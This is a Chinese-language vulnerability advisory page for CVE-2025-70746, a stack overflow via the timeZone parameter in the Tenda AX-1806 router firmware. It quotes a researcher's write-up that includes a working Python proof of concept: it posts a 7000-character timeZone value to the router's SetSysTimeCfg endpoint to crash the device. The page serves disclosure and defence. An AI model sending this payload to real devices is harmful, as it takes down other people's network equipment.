一、 漏洞 CVE-2025-70746 基础信息

                                        # N/A

## 概述
Tenda AX-1806 v1.0.0.1 设备在 `fromSetSysTime` 函数的 `timeZone` 参数中存在栈溢出漏洞。

## 影响版本
Tenda AX-1806 v1.0.0.1

## 细节
漏洞存在于 `fromSetSysTime` 函数中，攻击者可通过构造恶意请求，向 `timeZone` 参数传入超长数据，导致栈溢出。

## 影响
攻击者可利用该漏洞触发拒绝服务（DoS），导致设备宕机或重启。
                                        

二、漏洞 CVE-2025-70746 的公开POC

三、漏洞 CVE-2025-70746 的情报信息

• 标题： VulnbyCola/Tenda/AX-1806/4/1.md at main · 0-fool/VulnbyCola · GitHub -- 🔗来源链接

  标签：

  神龙速读：

                                          ## Tenda AX-1806 Vulnerability
  
  - **Vendor**: Tenda
  - **Product**: AX-1806
  - **Version**: v1.0.0.1 ([Download Link](https://www.tenda.com.cn/download/detail-3421.html))
  - **Vulnerability Type**: Stack Overflow
  - **Author**: Shuhao Shen
  - **Email**: <shenshuhao@hust.edu.cn>
  - **Institution**: Huazhong University of Science and Technology (HUST)
  
  ### Vulnerability Cause
  
  The `timeZone` value from user-controlled input via `v2` is obtained from `sub_295C8(a1, "timeZone", &unk_1C2CF0)` and then copied into the local buffer at `&v22` using `strcpy((char *)&v22, v2)`. If the check `strchr(v2, 58)` fails, the destination buffer `(char *)&v22` points into a fixed-size stack region starting at `v22`, with adjacent stack variables laid out consecutively. `strcpy` performs no bounds checking on the length of the source string. Since the `timeZone` parameter is directly supplied by the user without length restriction, an attacker can provide an excessively long value, causing `strcpy` to write past the intended bounds and corrupt stack memory, leading to a stack-based buffer overflow, crashing the process and causing Denial of Service.
  
  ### Proof of Concept (PoC)
  
  To reproduce the vulnerability:
  
  1. Boot the firmware via qemu-system or a real machine.
  2. Use the following PoC attack:
  
  ```python
  import requests
  
  url = "http://192.168.20.12/goform/SetSysTimeCfg"
  
  timeZone = "A"*7000
  data = {
      "timeZone": timeZone
  }
  
  r = requests.post(url, data=data)
  print(r.status_code, r.text)
  ```
  
  ### Result
  
  The target router crashes and cannot provide services correctly or persistently.
                                          

  
• https://nvd.nist.gov/vuln/detail/CVE-2025-70746

四、漏洞 CVE-2025-70746 的评论